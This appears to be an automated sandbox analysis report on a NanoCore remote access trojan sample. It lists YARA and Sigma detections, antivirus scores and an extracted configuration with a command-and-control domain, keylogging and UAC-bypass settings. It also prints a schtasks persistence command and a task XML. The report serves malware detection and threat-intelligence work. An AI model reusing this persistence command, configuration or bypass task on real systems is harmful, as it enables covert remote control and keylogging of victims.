0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
1.2.RegAsm.exe.400000.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
1.2.RegAsm.exe.400000.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
1.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.2.RegAsm.exe.400000.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
1.2.RegAsm.exe.45feab4.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
1.2.RegAsm.exe.45feab4.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
1.2.RegAsm.exe.45feab4.2.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.2.RegAsm.exe.6254629.9.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost
1.2.RegAsm.exe.6254629.9.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost
1.2.RegAsm.exe.6254629.9.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
1.2.RegAsm.exe.45f9c7e.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x145e3:$x1: NanoCore.ClientPluginHost 0x2d5cf:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x14610:$x2: IClientNetworkHost 0x2d5fc:$x2: IClientNetworkHost
1.2.RegAsm.exe.45f9c7e.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x145e3:$x2: NanoCore.ClientPluginHost 0x2d5cf:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x156be:$s4: PipeCreated 0x2e6aa:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x145fd:$s5: IClientLoggingHost 0x2d5e9:$s5: IClientLoggingHost
1.2.RegAsm.exe.45f9c7e.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.2.RegAsm.exe.45f9c7e.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x14599:$a: NanoCore 0x145ae:$a: NanoCore 0x145e3:$a: NanoCore 0x2d585:$a: NanoCore 0x2d59a:$a: NanoCore 0x2d5cf:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x14355:$b: ClientPlugin 0x14370:$b: ClientPlugin 0x143a0:$b: ClientPlugin 0x145b7:$b: ClientPlugin 0x145ec:$b: ClientPlugin 0x2d341:$b: ClientPlugin 0x2d35c:$b: ClientPlugin
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
1.2.RegAsm.exe.46030dd.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x24170:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x2419d:$x2: IClientNetworkHost
1.2.RegAsm.exe.46030dd.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x24170:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x2524b:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x2418a:$s5: IClientLoggingHost
1.2.RegAsm.exe.46030dd.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.2.RegAsm.exe.6250000.8.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
1.2.RegAsm.exe.6250000.8.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
1.2.RegAsm.exe.6250000.8.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.2.RegAsm.exe.35c16d0.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
1.2.RegAsm.exe.35c16d0.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
1.2.RegAsm.exe.6250000.8.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
1.2.RegAsm.exe.6250000.8.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
1.2.RegAsm.exe.6250000.8.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.2.RegAsm.exe.45feab4.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x28799:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x287c6:$x2: IClientNetworkHost
1.2.RegAsm.exe.45feab4.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x28799:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x29874:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x287b3:$s5: IClientLoggingHost
1.2.RegAsm.exe.45feab4.2.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Click to see the 49 entries

Sigma Overview

System Summary:

Sigma detected: NanoCore

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 1316, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

Sigma detected: Scheduled temp file as task from temp location

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp', CommandLine: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp', CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ParentImage: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ParentProcessId: 1316, ProcessCommandLine: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp', ProcessId: 1848

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Avira: detected

Found malware configuration

Show sources

Source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp

Malware Configuration Extractor: NanoCore {"Version": "1.2.2.0", "Mutex": "fc4000c4-f8ec-42dc-a0ad-1edfd754", "Group": "Default", "Domain1": "bnow.duckdns.org", "Domain2": "bnow.duckdns.org", "Port": 4156, "KeyboardLogging": "Enable", "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo />\r\n <Triggers />\r\n <Principals>\r\n <Principal id=\"Author\">\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n <AllowHardTerminate>true</AllowHardTerminate>\r\n <StartWhenAvailable>false</StartWhenAvailable>\r\n <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n <IdleSettings>\r\n <StopOnIdleEnd>false</StopOnIdleEnd>\r\n <RestartOnIdle>false</RestartOnIdle>\r\n </IdleSettings>\r\n <AllowStartOnDemand>true</AllowStartOnDemand>\r\n <Enabled>true</Enabled>\r\n <Hidden>false</Hidden>\r\n <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n <WakeToRun>false</WakeToRun>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <Priority>4</Priority>\r\n </Settings>\r\n <Actions Context=\"Author\">\r\n <Exec>\r\n <Command>\"#EXECUTABLEPATH\"</Command>\r\n <Arguments>$(Arg0)</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task"}

Multi AV Scanner detection for submitted file

Show sources

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Virustotal: Detection: 57%			Perma Link
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	ReversingLabs: Detection: 68%

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657091482.0000000004377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.686611138.0000000004311000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1316, type: MEMORY
Source: Yara match	File source: Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824, type: MEMORY
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45feab4.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6254629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.46030dd.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6250000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6250000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45feab4.2.raw.unpack, type: UNPACKEDPE

Source: 1.2.RegAsm.exe.400000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen7
Source: 1.2.RegAsm.exe.6250000.8.unpack	Avira: Label: TR/NanoCore.fadte
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack	Avira: Label: TR/Dropper.MSIL.Gen7

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Source:	Binary string: C:\Windows\exe\RegAsm.pdb source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\exe\RegAsm.pdb source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: indows\RegAsm.pdbpdbAsm.pdbUs source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\RegAsm.pdbd source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: gAsm.pdb source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: RegAsm.exe, 00000001.00000002.922349226.0000000005E40000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7445A GetFileAttributesW,FindFirstFileW,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7C6D1 FindFirstFileW,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C737EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C73B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

